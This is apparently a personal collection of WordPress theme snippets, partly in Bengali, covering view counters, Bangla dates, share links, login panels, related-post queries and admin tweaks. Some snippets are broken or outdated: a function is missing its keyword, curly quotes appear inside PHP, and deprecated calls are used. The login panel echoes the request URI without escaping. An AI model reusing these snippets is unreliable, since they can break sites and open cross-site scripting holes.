- $pattern = '/<p><a name=[\"\'](.*)[\"\']><br\s*\/>\s*<h([1-9])>(.*)<\/h([1-9])>\s*<p><\/a><br\s*\/>/';
- $replacement = "<a name=\"$1\"><h$2>$3</h$4></a>\n<p>";
- $content = preg_replace($pattern, $replacement, $content);
- return $content;
- }
- -------------------------------------------------------------
- or
- -------------------------------------------------------------
- // REMOVE BAD P and BR TAGS FROM NAME ANCHORS
- remove_filter( 'the_content', 'wpautop' );
- remove_filter( 'the_excerpt', 'wpautop' );
- function wpse_wpautop_nobr( $content ) {
- return wpautop( $content, false );
- }
- add_filter( 'the_content', 'wpse_wpautop_nobr' );
- add_filter( 'the_excerpt', 'wpse_wpautop_nobr' );
- =============================================================
- In qTranslate-x Change logo/image based on language selected
- =============================================================
- <?php
- if ( qtranxf_getLanguage() == 'pt' ) {
- echo '<img src="http://www.cunhapontes.adv.br/wp-content/themes/cunhapontes/img/locatcontato.png" alt="" />';
- }
- elseif ( qtranxf_getLanguage() == 'es' ) {
- echo '<img src="http://www.cunhapontes.adv.br/wp-content/themes/cunhapontes/img/location_es.png" alt="" />';
- }
- elseif ( qtranxf_getLanguage() == 'en' ) {
- echo '<img src="http://www.cunhapontes.adv.br/wp-content/themes/cunhapontes/img/location_eng.png" alt="" />';
- }
- ?>
- =============================================================
- <? //Post View Count
- =============================================================
- //আপনার functions.php তে এই কোডটি যুক্ত করুন
- -------------------------------------------------------------
- // function to display number of posts.
- getPostViews($postID){ $count_key = 'post_views_count'; $count = get_post_meta($postID,
- $count_key, true); if($count==''){ delete_post_meta($postID, $count_key);
- add_post_meta($postID, $count_key, '0'); return "0 View"; } return $count.' Times';}
- // function to count views.
- function setPostViews($postID) { $count_key = 'post_views_count';
- $count = get_post_meta($postID, $count_key, true); if($count==''){ $count = 0;
- delete_post_meta($postID, $count_key); add_post_meta($postID, $count_key, '0'); }else{
- $count++; update_post_meta($postID, $count_key, $count); }}
- আপনি যেখানে পোস্ট ভিউ কাউন্ট সেট করতে চান সেখানকার লুপে এই কোডের পরে এই কোডটি যুক্ত করুন আপনি যেখানে পোস্ট ভিউ কাউন্ট দেখাতে চান
- =============================================================
- //Post View timer Count
- =============================================================
- <?php echo human_time_diff( get_the_time('U'), current_time('timestamp') ) . ' ago'; ?>
- =============================================================
- //Bangla date view
- =============================================================
- //আপনার functions.php তে এই কোডটি যুক্ত করুন
- -------------------------------------------------------------
- function bn($mhm)
- {
- $eng = array('January','February','March','April','May','June','July','August','September','October','November','December',
- 'Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec',
- 'Saturday','Sunday','Monday','Tuesday','Wednesday','Thursday','Friday',
- 'Sat','Sun','Mon','Tue','Wed','Thu','Fri',
- '1','2','3','4','5','6','7','8','9','0',
- 'am','pm','st','nd','rd','th');
- $bng = array('জানুয়ারি','ফেব্রুয়ারি','মার্চ','এপ্রিল','মে','জুন','জুলাই','আগস্ট','সেপ্টেম্বর','অক্টোবর','নভেম্বর','ডিসেম্বর',
- 'জানু','ফেব্রু','মার্চ','এপ্রি','মে','জুন','জুলা','আগ','সেপ্টে','অক্টো','নভে','ডিসে',
- 'শনিবার','রবিবার','সোমবার','মঙ্গলবার','বুধবার','বৃহস্পতিবার','শুক্রবার',
- 'শনি','রবি','সোম','মঙ্গল','বুধ','বৃহঃ','শুক্র',
- '১','২','৩','৪','৫','৬','৭','৮','৯','০',
- 'পূর্বাহ্ণ','অপরাহ্ণ','­','­','­','­');
- $con = str_replace($eng, $bng, $mhm);
- return $con;
- }
- add_action('wp_head', function() {
- echo '<meta name="mhm" content="bdat 1.3" />';});
- add_filter('the_date', 'bn');
- add_filter('the_time', 'bn');
- add_filter('the_views', 'bn');
- add_filter('comments_number', 'bn');
- add_filter('get_comment_date', 'bn');
- add_filter('get_comment_time', 'bn');
- ============================================================
- How to add custom header and custom background in wordpress theme
- ============================================================
- //Title: custom background.
- ------------------------------------------------------------
- head.php
- ..............
- replace the
- tag using bellow the code.
- >
- functions.php
- .........................
- this code put within the tag
- $defaults = array(
- 'default-color' => '#000',
- 'default-image' => '',
- 'wp-head-callback' => '_custom_background_cb',
- 'admin-head-callback' => '',
- 'admin-preview-callback' => ''
- );
- add_theme_support( 'custom-background', $defaults );
- Title: custom Header/Logo
- ---------------------------------------------
- head.php
- ..........................
- Put this code where you want to upload your logo.
- ----------------------------------------------
- functions.php
- ..........................
- this code put within the tag
- $defaults = array(
- 'default-image' => '',
- 'random-default' => true,
- 'width' => 1000,
- 'height' => 200,
- 'flex-height' => true,
- 'flex-width' => true,
- 'default-text-color' => '#000',
- 'header-text' => true,
- 'uploads' => true,
- 'wp-head-callback' => '',
- 'admin-head-callback' => '',
- 'admin-preview-callback' => '',
- );
- add_theme_support( 'custom-header', $defaults );
- ===============================================
- social share code for wordpress
- ===============================================
- -------------------------------------
- <div class="social">
- <p>সবার সাথে শেয়ার করুন:</p>
- <!--Twitter-->
- <a class="twitter" href="http://twitter.com/home?status=<?php the_title(); ?>: <?php the_permalink(); ?>" target="_blank"><i class="fa fa-twitter"></i> </a>
- <!--Facebook-->
- <a class="facebook" href="http://www.facebook.com/sharer.php?u=<?php the_permalink();?>&t=<?php the_title(); ?>" title="Share this post on Facebook!" onclick="window.open(this.href); return false;"><i class="fa fa-facebook"></i> </a>
- <!--Google Plus-->
- <a class="google-plus" target="_blank" href="https://plus.google.com/share?url=<?php the_permalink(); ?>"><i class="fa fa-google-plus"></i> </a>
- <a class="reddit" href="http://www.reddit.com/submit?url=<?php the_permalink(); ?>&title=<?php the_title(); ?>" title="Reddit" rel="nofollow" target="_blank"><i class="fa fa-reddit"></i> </a>
- <a class="stumbleupon" href="http://www.stumbleupon.com/submit?url=<?php the_permalink(); ?>&title=<?php the_title(); ?>" title="Stumble it" rel="nofollow" target="_blank"><i class="fa fa-stumbleupon"></i> </a>
- <!--Digg-->
- <a class="digg" href="http://digg.com/submit?url=<?php the_permalink(); ?>&title=<?php the_title(); ?>" title="Digg this!" rel="nofollow" target="_blank"><i class="fa fa-digg"></i></a>
- <!--Linkedin-->
- <a class="linkedin" href="http://www.linkedin.com/shareArticle?mini=true&title=<?php the_title(); ?>&url=<?php the_permalink(); ?>" title="Share on LinkedIn" rel="external nofollow" rel="nofollow" target="_blank"><i class="fa fa-linkedin"></i></a>
- <!--Pinterest-->
- <a class="pinterest" href="http://pinterest.com/pin/create/button/?url=<?php the_permalink(); ?>&media=<?php $url = wp_get_attachment_url( get_post_thumbnail_id($post->ID) ); echo $url; ?>" title="Pinterest" rel="nofollow" target="_blank"><i class="fa fa-pinterest"></i></a>
- <!--Del.icio.us-->
- <a class="delicious" href="http://del.icio.us/post?url=<?php the_permalink(); ?>&title=<?php the_title(); ?>" title="Bookmark on del.icio.us" rel="nofollow" target="_blank"><i class="fa fa-delicious"></i></a>
- <!--Email-->
- <a title="<?php _e('Share by email','cryst4l') ?>" href="mailto:?subject=Check this post - <?php the_title();?> &body= <?php the_permalink()?>&title="<?php the_title()?>" email"=""><i class="fa fa-envelope"></i> <span><?php _e('Share by email', 'cryst4l')?></span></a>
- <!--tumblr-->
- <a href="http://www.tumblr.com/share/link?url=<?php the_permalink(); ?>" target="blank_"><i class="fa fa-tumblr"></i></a></a>
- <!-- whatsapp -->
- <a href="whatsapp://send?text=<?php the_title(); ?> - <?php the_permalink(); ?>" onclick="window.open(this.href, 'mywin','left=20,top=20,width=500,height=500,toolbar=1,resizable=0'); return false;" class="whatsapp"><i class="fa fa-whatsapp"></i></a>
- <!--// share-xing -->
- <a rel="external nofollow" href="https://www.xing.com/spi/shares/new?url=<?php the_permalink();?>" target="_blank" title="Share on Xing" >
- <img src="https://prometheusc.com/wp-content/uploads/2018/11/xing1.png" alt="" /> Xing
- </a>
- </div>
- ফেসুবকের বিভিন্ন লাইক বাটন যোগ করতে এখানে দেখতে পারেন
- ---------------------------------------------
- https://developers.facebook.com/docs/plugins/like-button/
- ============================================
- /*Add Submenu in sidebar on wordpress*/
- =============================================
- /*Firstly, in your theme's functions.php, you need to write a function to register the names of your menus.*/
- function register_my_menus() {
- register_nav_menus(
- array( 'sidebar-menu' => __( 'Sidebar Menu' ) )
- );
- }
- add_action( 'init', 'register_my_menus' );
- ================
- for youtube thumbnail image
- ========================
- http://img.youtube.com/vi/your-youtube-video-id/sddefault.jpg
- /*Display Menus on Theme
- Once you've done that, your theme will be almost ready. The last preparation step is to tell the theme where you want the menus to show up.*/
- <?php wp_nav_menu( array( 'theme_location' => 'sidebar-menu' ) ); ?>
- /*That's all the background work. To finish, you would simply visit the Appearance -> Menus panel in your site admin.
- Please read the wordpress codex site.. it has plenty of information on how to do this..*/
- ==============================================
- How to Remove WordPress Admin Bar for All Users Except Admin
- ==============================================
- add_action('after_setup_theme', 'remove_admin_bar');
- function remove_admin_bar() {
- if (!current_user_can('administrator') && !is_admin()) {
- show_admin_bar(false);
- }
- }
- ------------------------
- If you want to disable it for all users, then simply paste this blew code in your theme’s functions.php file
- ----------------------------------------------
- show_admin_bar(false);
- ==============================================
- আপনার ওয়ার্ডপ্রেস ড্যাশবোর্ডর ‘Howdy’ লেখাকে পরিবর্তন করে দিন ইচ্ছা মতো যেকোনো কিছু।
- ==============================================
- add_filter('gettext', 'change_howdy', 10, 3);
- function change_howdy($translated, $text, $domain) {
- if (false !== strpos($translated, 'Howdy'))
- return str_replace('Howdy', 'স্বাগতম', $translated);
- return $translated;
- }
- এখানে আপনি ‘স্বাগতম’ এর জাইগায় আপনার পছন্দ মতো যেকোনো শব্দ দিতে পারেন। আজ তবে এখানে।ভাল থাকবেন।
- ==============================================
- এখন থেকে কেউ লগ আউট করলে সরাসরি তাকে নিয়ে যাবে হোম পেজে
- ==============================================
- add_action('wp_logout','go_home');
- function go_home(){
- wp_redirect( home_url() );
- exit();
- }
- ==============================================
- নিয়ে নিন সুন্দর একটা বাংলা লগিন/রেজিস্টার প্যানেল
- ==============================================
- খুবই সহজ সুধু নিছের কোড কপি করে আপনার সাইট এর sidebar এর text widget এ past করে সেভ করুন ব্যাস কাজ শেষ।
- <?php global $user_ID, $user_identity, $user_level ?>
- <?php if ( $user_ID ) : ?>
- <h2> স্বাগতম/Welcome <strong><?php echo $user_identity ?></strong></h2>
- <li><a href="<?php bloginfo('url') ?>/wp-admin/">ড্যাশবোর্ডে/Dashboard</a></li>
- <?php if ( $user_level >= 1 ) : ?>
- <li><a href="<?php bloginfo(‘url’) ?>/wp-admin/post-new.php">নতুন পোষ্ট লিখুন।/New Post</a></li>
- <?php endif // $user_level >= 1 ?>
- <li><a href="<?php bloginfo('url') ?>/wp-admin/profile.php">আপনার প্রোফাইল পাতা/Profile</a></li>
- <li><a href="<?php bloginfo('url') ?>/wp-login.php?action=logout&redirect_to=<?php echo urlencode($_SERVER['REQUEST_URI']) ?>">বের হয়ে যান/Logout</a></li>
- </ul>
- </li>
- </ul>
- <?php elseif ( get_option('users_can_register') ) : ?>
- <h2><p style="text-align: center;">মেম্বার লগিন প্যানেল/Login panel</p></h2>
- <hr/>
- <ul>
- <form action="<?php bloginfo('url') ?>/wp-login.php" method="post">
- <p>
- <label for="log"><input type="text" name="log" id="log" value="<?php echo wp_specialchars(stripslashes($user_login), 1) ?>" size="25" /> <br/>ইউজার নেম দিন/Username</label><br /><br/>
- <label for="pwd"><input type="password" name="pwd" id="pwd" size="25" /><br />
- পাসওয়ার্ড দিন/Password</label><br/><br/>
- <input type="submit" name="submit" value="লগিন/Login" />
- <label for="rememberme"><input name="rememberme" id="rememberme" type="checkbox" checked="checked" value="forever" />আমাকে মনে রাখুন/Remember Password</label><br />
- </p>
- <input type="hidden" name="redirect_to" value="<?php echo $_SERVER['REQUEST_URI']; ?>"/>
- </form>
- </li>
- <hr/>
- <a href="<?php bloginfo('url') ?>/wp-login.php?action=register">Registration/রেজিস্ট্রেশন</a>
- <br/>
- <a href="<?php bloginfo('url') ?>/wp-login.php?action=lostpassword">Reset Password/পাসওয়ার্ড পুনরুদ্ধার</a>
- </ul>
- <?php endif // get_option('users_can_register') ?>
- ==============================================
- আপনার ওয়ার্ডপ্রেস ড্যাশবোর্ড প্যানেল থেকে theme editor lock করে দিন কোড দিয়ে
- ==============================================
- add_action('admin_init', 'cwc_lock_theme');
- function cwc_lock_theme() {
- global $submenu, $userdata;
- get_currentuserinfo();
- if ($userdata->ID != 1) {
- unset($submenu['themes.php'][5]);
- unset($submenu['themes.php'][15]);
- }
- }
- ==============================================
- আপনার ওয়ার্ডপ্রেস সাইট এ কোন শব্দ কে অন্য শব্দ দিয়ে পরিবর্তন করুন
- ==============================================
- হ্যালো, বন্ধুরা কেমন আছ। আবারো হাজির হলাম আপনাদের সামনে। আজকে ছোট একটা কোড নিয়ে আলোচনা করবো। আমরা যখন আমাদের ওয়ার্ডপ্রেস সাইট এ বাংলা ইন্সটল করি তখন অনেক শব্দের বাংলা অর্থ এমন যে শুনতে কেমন লাগে। যেমন Dashboard এর মানে দেখায় খেরখাতা। তাই আপনি চাইলে কিছু ওয়ার্ড এর মানে আপনি কোড দিয়ে Replace করতে পারেন। এর জন্য নিছের কোড গুলো আপনার থিমের functions.php ফাইলে অ্যাড করে দিন।
- add_filter('gettext', 'rename_admin_menu_items');
- add_filter('ngettext', 'rename_admin_menu_items');
- function rename_admin_menu_items($menu) {
- $menu = str_ireplace('Dashboard', 'প্রথম পাতা', $menu);
- $menu = str_ireplace('Media', 'ছবিসমুহ', $menu);
- $menu = str_ireplace('Comments', 'মন্তব্যসমুহ', $menu);
- return $menu;
- }
- এখানে আমি কিছু উদাহরন দিলাম।
- $menu = str_ireplace('Media', 'ছবিসমুহ', $menu);
- উপরের লাইন এ খেয়াল করুন। এখানে মনে করেন আপনি Media কে পরিবর্তন করবেন এখন উপরের Media এর পরিবরতে যে শব্দ ব্যবহার করতে চান সেটি ছবিসমুহ এর জায়গায় বসিয়ে দিন দেখবেন আপনার সাইট যত Media লেখা আছে সব পরিবর্তন হয়ে গেছে। এভাবে আপনার যত খুশি শব্দ অ্যাড করতে পারেন। আমি শুধু কয়েকটি শব্দ দিয়েছি দেখানোর জন্য।
- ==============================================
- যেকোনো পোস্ট এ অ্যাড করুন লেখকের আভাটার
- ==============================================
- <?php echo get_avatar( get_the_author_email(), '20' ); ?>
- ==============================================
- আপনার ওয়েবসাইট এ ডিফল্ট Avatar পরিবর্তন করুন কোড দিয়ে
- ==============================================
- ওয়ার্ডপ্রেস সাইট এ ওয়ার্ডপ্রেস এর দেয়া অনেক গুলো ডিফল্ট Avatar থাকে। আমরা যারা ওয়ার্ডপ্রেস দিয়ে সাইট বানাই তাদের অনেক সময় Branding এর কারনে এই ডিফল্ট Avatar পরিবর্তন করতে হয়। অনেকে এটা plugin দিয়ে করে তবে জে কাজ সামান্য কোড দিয়ে হয় সেটার জন্য কেন plugin ব্যবহার করতে যাবো। কাজতা খুবই সজা । সুধু নিছের কোড টুকু কপি করে আপনার ওয়ার্ডপ্রেস সাইট এর theme এর functions.php file এর আকদম নিছে paste করে দিন। আর আপনার সাইট এর theme এর ইমেজ directory তে যে ইমেজটা ব্যবহার করতে চান সেটা rename করে avatar.png format এ নিয়ে upload করে দিন ব্যাস কাজ শেষ। দেখবেন ডিফল্ট ইমেজ পরিবর্তন হয়ে গেছে।
- add_filter( 'avatar_defaults', 'crunchifygravatar' );
- function crunchifygravatar ($avatar_defaults) {
- $myavatar = get_bloginfo('template_directory') . '/images/avatar.png';
- $avatar_defaults[$myavatar] = "Anytech Man";
- return $avatar_defaults;}
- ==============================================
- techtunes এর মতো টপ অথর শো করাতে চান? তাহলে নিয়ে নিন কোড
- ==============================================
- <?php
- global $wpdb;
- $top_authors = $wpdb->get_results("
- SELECT u.ID, count(post_author) as posts FROM {$wpdb->posts} as p
- LEFT JOIN {$wpdb->users} as u ON p.post_author = u.ID
- WHERE p.post_status = 'publish'
- AND p.post_type = 'post'
- GROUP by p.post_author
- ORDER by posts DESC
- LIMIT 0,10
- ");
- if( !empty( $top_authors ) ) {
- echo '<ul>';
- foreach( $top_authors as $key => $author ) {
- echo '
- <li>
- <div class="topauthor-info"><div class="topauthor-avatar">
- ' . get_avatar( $author->ID , 40) . '</div>
- <div class="topauthor-description"><a href="' . get_author_posts_url( $author->ID ) . '">' . get_the_author_meta( 'nickname' , $author->ID ) . '</a>
- <br />» পোস্ট '. $author->posts .' টি
- </div></div></li>
- ';
- }
- echo '</ul>';
- }
- ?>
- এবার নিছের CSS কোড গুলো আপনার থিম এর CSS ফাইল বা style.css এ যোগ করে দিন।
- .topauthor-info {background: none repeat scroll 0 0 #FFFFFF;overflow: hidden;padding: 0px;}
- .topauthor-avatar {background: none repeat scroll 0 0 #FAFAFA;float: left;margin-right: 10px;padding: 0px;}
- .topauthor-description {float: left;max-width: 86%;font-size:14px;}
- ==============================================
- আপনি চাইলে আপনার ওয়েবসাইট এর সব ট্যাগ কোড দিয়েও শো করতে পারেন
- ==============================================
- <?php if ( function_exists('wp_tag_cloud') ) : ?>
- <h4>Popular Tags</h4>
- <ul>
- <li><?php wp_tag_cloud('smallest=8&largest=22'); ?></li>
- </ul>
- <?php endif; ?>
- ==============================================
- আপনার ওয়েবসাইট এ Forced to logout এর টাইম সেট করে দিন কোড দিয়ে
- ==============================================
- আপনার ওয়ার্ডপ্রেস সাইট এ যারা লগিন করবে এমন কি এডমিন সহ সবাইকে যদি আপনি চান যে একটা নির্দিষ্ট সমই পর অটোমেটিক logout হয়ে যাবে তাহলে একটা ছোট কাজকরে এটি করতে পারেন। এটি অবশ্য প্লাগিন দিয়েও করতে পারেন তবে যদি চান কোড দিয়ে করবেন তাহলে নিছের কোড টুকু কপি করে আপনার থিম এর functions.php ফাইল এর শেষে যোগ করে দিন। এখানে return 7200 এই লাইন এ ৭২০০ এর জাইগাই আপনি যে টাইম দিতে চান তা seconds এ কনভার্ট করে বসিএ দিন। এখানে ৭২০০ seconds মানে দুই ঘণ্টা দেয়া আছে।
- </p>
- function logged_in( $expirein ) {
- return 7200; // 2 hours in seconds
- }
- add_filter( 'auth_cookie_expiration', 'logged_in' );
- ==============================================
- আপনার ওয়ার্ডপ্রেস সাইট এর favicon পরিবর্তন করুন কোড দিয়ে
- ==============================================
- নিছের কোডটুকু কপি করে আপনার থিম এর functions.php ফাইল এর নিছে অ্যাড করে দিন। সুধু http://anytech.arzonebd.com/wp-content/anytech.gif এর জাইগায় আপনার ইমেজ এর লিঙ্ক দিন দেখবেন কাজ হয়ে গেছে। তবে ফাইল সাইজ 16*16 রাখবেন।
- function my_favicon() { ?>
- <link rel="shortcut icon" href="http://anytech.arzonebd.com/wp-content/anytech.gif" >
- <?php }
- add_action('wp_head', 'my_favicon');
- ==============================================
- লগিন পেজের হেডার এর url এবং Powered by টেক্সট পরিবর্তন করুন কোড দিয়ে
- ==============================================
- আমরা যখন কোন ওয়ার্ডপ্রেস সাইট এর লগিন পেজ এ যাই তখন ওখানে যে লোগো থাকে সেখানে মাউস রাখলে একটা লিঙ্ক মানে হল http://wordpress.org এবং Powered by WordPress শো করে। আপনি যদি চান যে এখানে আপনার সাইট এর লিঙ্ক এবং নাম এর যায়গায় সাইট এর নাম দেখাবেন তাহলে এদিকে আসুন। নিছের কোড গুলো আপনার সাইট এর থিম এর functions.php তে পেস্ট করুন।
- function anytech_login_header_url(){
- return "http://www.kingrussel.com";
- } add_action('login_headerurl', 'anytech_login_header_url');
- function anytech_login_header_link_title(){
- return "Powered By King Russel";
- } add_action('login_headertitle', 'anytech_login_header_link_title');
- ==============================================
- Dashboard এর favicon change করে নিন একেবারে সহজে
- ==============================================
- নিছের কোড টুকু আপনারথিম এর functions.php ফাইল এর নিছে অ্যাড করে দিন। সুধু http://www.anytech.arzonebd.com/favicon.png এর জাইগায় আপনার ইমেজ এর লিঙ্ক দিন দেখবেন কাজ হয়ে গেছে। তবে ফাইল সাইজ 16*16 রাখবেন।
- function fidafavicon() {
- echo '<link rel="Shortcut Icon" type="image/x-icon" href="http://www.anytech.arzonebd.com/favicon.png" />';
- }
- add_action( 'admin_head', 'fidafavicon' );
- ==============================================
- wp-logo remove করুন কোড দিয়ে।
- ==============================================
- নিছের কোড টুকু কপি করে আপনার থিম এর functions.php তে অ্যাড করে দেন ব্যাস কাজ ওকে।
- add_action('wp_before_admin_bar_render', 'annointed_admin_bar_remove', 0);
- function annointed_admin_bar_remove() {
- global $wp_admin_bar;
- /* Remove their stuff */
- $wp_admin_bar->remove_menu('wp-logo');
- }
- ==============================================
- QUERY CODE FOR RELATED POST WITH AND WITHOUT THUMBNAIL
- ==============================================
- <?php $orig_post = $post;
- global $post;
- $categories = get_the_category($post->ID);
- if ($categories) {
- $category_ids = array();
- foreach($categories as $individual_category) $category_ids[] = $individual_category->term_id;
- $args=array(
- 'category__in' => $category_ids,
- 'post__not_in' => array($post->ID),
- 'posts_per_page'=> 6, // Number of related posts that will be shown.
- 'caller_get_posts'=>1
- );
- $my_query = new wp_query( $args );
- if( $my_query->have_posts() ) {
- echo '<div class="single_coment_all">';
- while( $my_query->have_posts() ) {
- $my_query->the_post();?>
- <div class="single_coment floatleft fix">
- <div class="relatedthumb_img">
- <a href="<?php the_permalink()?>" rel="bookmark" title="<?php the_title(); ?>">
- <?php the_post_thumbnail('related_image'); ?>
- </a>
- </div>
- <div class="comments_caption">
- <div class="comments_caption_left">
- <p><?php the_category(', '); ?></p>
- </div>
- <div class="comments_caption_right">
- <a href="<?php the_permalink(); ?>"><h2><?php the_title(); ?></h2></a>
- </div>
- </div>
- </div>
- <?php
- }
- echo '</div>';
- }
- }
- $post = $orig_post;
- wp_reset_query(); ?>
- ---------------------- or -------------------------------
- <?php
- //for use in the loop, list 5 post titles related to first tag on current post
- $tags = wp_get_post_tags($post->ID);
- if ($tags) {
- echo 'Related Posts';
- $first_tag = $tags[0]->term_id;
- $args=array(
- 'tag__in' => array($first_tag),
- 'post__not_in' => array($post->ID),
- 'posts_per_page'=>5,
- 'caller_get_posts'=>1
- );
- $my_query = new WP_Query($args);
- if( $my_query->have_posts() ) {
- while ($my_query->have_posts()) : $my_query->the_post(); ?>
- <a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title_attribute(); ?>"><?php the_title(); ?></a>
- <?php
- endwhile;
- }
- wp_reset_query();
- }
- ?>
- ==============================================
- QUERY CODE FOR RELATED POST for custom post type by a custom taxonomy
- ==============================================
- //Get array of terms
- $terms = get_the_terms( $post->ID , 'product_tags', 'string');
- //Pluck out the IDs to get an array of IDS
- $term_ids = wp_list_pluck($terms,'term_id');
- //Query posts with tax_query. Choose in 'IN' if want to query posts with any of the terms
- //Chose 'AND' if you want to query for posts with all terms
- $second_query = new WP_Query( array(
- 'post_type' => 'products',
- 'tax_query' => array(
- array(
- 'taxonomy' => 'product_tags',
- 'field' => 'id',
- 'terms' => $term_ids,
- 'operator'=> 'IN' //Or 'AND' or 'NOT IN'
- )),
- 'posts_per_page' => 3,
- 'ignore_sticky_posts' => 1,
- 'orderby' => 'rand',
- 'post__not_in'=>array($post->ID)
- ) );
- //Loop through posts and display...
- if($second_query->have_posts()) {
- while ($second_query->have_posts() ) : $second_query->the_post(); ?>
- <div class="single_related">
- <?php if (has_post_thumbnail()) { ?>
- <a href="<?php the_permalink() ?>" title="<?php the_title(); ?>"> <?php the_post_thumbnail( 'related_sm', array('alt' => get_the_title()) ); ?> </a>
- <?php } else { ?>
- <a href="<?php the_permalink() ?>" title="<?php the_title(); ?>"><?php the_title(); ?></a>
- <?php } ?>
- </div>
- <?php endwhile; wp_reset_query();
- }
- =============================================
- কোন একটা নির্দিষ্ট ক্যাটেগরির পপুলার পোস্ট শো করুন লিস্ট আকারে
- =============================================
- <?php
- $args=array(
- 'cat' => 58, // this is category ID
- 'orderby' => 'comment_count',
- 'order' => 'DESC',
- 'post_type' => 'post',
- 'post_status' => 'publish',
- 'posts_per_page' => 6, // how much post you want to display
- 'caller_get_posts'=> 1
- );
- $my_query = null;
- $my_query = new WP_Query($args);
- if( $my_query->have_posts() ) { ?>
- <ul>
- <?php while ($my_query->have_posts()) : $my_query->the_post(); ?>
- <li><a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title_attribute(); ?>"><?php the_title(); ?></a></li>
- <?php endwhile; ?>
- </ul>
- <?php }
- wp_reset_query(); ?>
- ==============================================
- copy , paste , cut বাটান এড করুন Visual Editor এ
- ==============================================
- function enable_more_buttons($buttons) {
- $buttons[] = 'copy';
- $buttons[] = 'cut';
- $buttons[] = 'paste';
- return $buttons;
- }
- add_filter("mce_buttons_2", "enable_more_buttons");
- ==============================================
- পোস্টের মেটা ডিসক্রিপশন অটোমেটিক যোগ করাঃ
- ==============================================
- function create_meta_desc() {
- global $post;
- if (!is_single()) { return; }
- $meta = strip_tags($post->post_content);
- $meta = strip_shortcodes($post->post_content);
- $meta = str_replace(array("\n", "\r", "\t"), '', $meta);
- $meta = substr($meta, 0, 125);
- echo "<meta name='description' content='$meta' />";
- }
- add_action('wp_head', 'create_meta_desc');
- ==============================================
- লেফ্ট সাইড এর wordpress text টা পরিবর্র্তন করার জন্য নিচের Function টা এড করে দিন । text এ আপনার ইচ্ছা মত পরিবর্র্তন করে নিন ।
- ==============================================
- function remove_footer_admin () {
- echo 'Thank You For Creating By <a href="http://kingrussel.com">King Russel</a>';
- }
- add_filter('admin_footer_text', 'remove_footer_admin');
- ==============================================
- page k login and logout option onojayi set korben
- ==============================================
- <?php if (is_user_logged_in() ): ?>
- <a href="<?php echo wp_logout_url() ?>" title="Logout">Logout</a>
- <?php else: ?>
- <a href="http://example.com/wp-login.php" title="Logout">Login</a>
- <?php endif ?>
- ==============================================
- আপনার সাইট এর সব লেখককে একসাথে দেখানড্র পডাউন মেনু হিসেবে
- ==============================================
- <li id="users">
- <h2><?php _e('users:'); ?></h2>
- <form action="<?php bloginfo('url'); ?>" method="get">
- <?php
- $args = array(
- 'exclude' => '1',
- 'name' => 'authors',
- 'who' => 'authors'
- );
- wp_dropdown_users($args);
- ?>
- <input type="submit" name="submit" value="view" />
- </form>
- </li>
- ==============================================
- query code for Fraction Slider
- ==============================================
- <?php while ( have_posts() ) : the_post(); ?>
- <?php
- global $post;
- $images = get_post_meta( $post->ID, '_wpb_sub_image', true );
- foreach ($images as $img){
- echo "<div class='col-md-2 single_img'><a class='grouped_elements' rel='group1' href='$img'><img class='img-responsive' src='$img' alt='' /></a></div> ";
- }
- ?>
- <?php endwhile; // end of the loop. ?>
- ========================================
- show related posts form current taxonomy
- ==========================================
- function pippin_related_posts($taxonomy = '') {
- global $post;
- if($taxonomy == '') { $taxonomy = 'post_tag'; }
- $tags = wp_get_post_terms($post->ID, $taxonomy);
- $content = '';
- if ($tags) {
- $first_tag = $tags[0]->term_id;
- $second_tag = $tags[1]->term_id;
- $third_tag = $tags[2]->term_id;
- $args = array(
- 'post_type' => get_post_type($post->ID),
- 'posts_per_page' => 4,
- 'tax_query' => array(
- 'relation' => 'OR',
- array(
- 'taxonomy' => $taxonomy,
- 'terms' => $second_tag,
- 'field' => 'id',
- 'operator' => 'IN',
- ),
- array(
- 'taxonomy' => $taxonomy,
- 'terms' => $first_tag,
- 'field' => 'id',
- 'operator' => 'IN',
- ),
- array(
- 'taxonomy' => $taxonomy,
- 'terms' => $third_tag,
- 'field' => 'id',
- 'operator' => 'IN',
- )
- )
- );
- $related = get_posts($args);
- $i = 0;
- if( $related ) {
- global $post;
- $temp_post = $post;
- foreach($related as $post) : setup_postdata($post);
- $content .= '<ul class="related-posts-box">';
- $content .= '<li><a href="' . get_permalink() . '" title="' . get_the_title() . '">' . get_the_title() . '</a></li>';
- $content .= '</ul>';
- endforeach;
- $post = $temp_post;
- }
- }
- return $content;
- }
- add_action('the_content', 'do_jt_related_posts');
- function do_jt_related_posts() {
- if( is_singular('post') ) :
- echo get_the_content();
- echo pippin_related_posts();
- else :
- echo get_the_content();
- endif; }
- ==============================================
- query code for display post from each category
- ==============================================
- <?php
- // array of category IDs
- $categories = array(10,9,8,7,6,5,4,3,2,1);
- foreach ($categories as $cat) :
- $post = false;
- $post = get_posts('cat='.$cat.'&posts_per_page=1');
- if($post) :
- $post = $post[0];
- setup_postdata($post); ?>
- // Your content for loop
- <?php endif; ?>
- <?php endforeach; ?>
- ======================================
- Get terms form specific taxonomy
- ========================================
- Suppose, you want to get a list of your all category as name or you want to get a list of your custom taxonomy. Here is how you can foreach that.
- // Storing taxonomy's ID in a variable.
- $terms = get_terms( 'product_cat' );
- // Retrieve list as name
- echo '<ul>';
- foreach ( $terms as $term ) {
- echo '<li>' . $term->name . '</li>';
- }
- echo '</ul>';
- ====================================================
- how to hide specific category from home page
- ====================================================
- function exclude_category($query) {
- if ( $query->is_home ) {
- $query->set('cat','-96','-1');
- }
- return $query;
- }
- add_filter('pre_get_posts', 'exclude_category');
- ====================================================
- Here’s how to create a custom post template for a specific category:
- ====================================================
- function get_custom_cat_template($single_template) {
- global $post;
- if ( in_category( 'category-name' )) {
- $single_template = dirname( __FILE__ ) . '/single-template.php';
- }
- return $single_template;
- }
- add_filter( "single_template", "get_custom_cat_template" ) ;
- What you have to do is just copy and paste this code in your functions.php file and don’t forget to change ‘category-name’ to the name of the category you are aiming and, of course, change ‘/single-template.php’ to your post template file for this category.
- And here’s another snippet, if you need to create a custom post template for a specific custom post type:
- function get_custom_post_type_template($single_template) {
- global $post;
- if ($post->post_type == 'custom-post-type') {
- $single_template = dirname( __FILE__ ) . '/single-template.php';
- }
- return $single_template;
- }
- add_filter( "single_template", "get_custom_post_type_template" ) ;
- What you have to do is again copy and paste it in your functions.php file and change ‘custom-post-type’ and ‘/single-template.php’ to whatever works fine for you.
- ====================================================
- creates category-slug based template for single post
- ====================================================
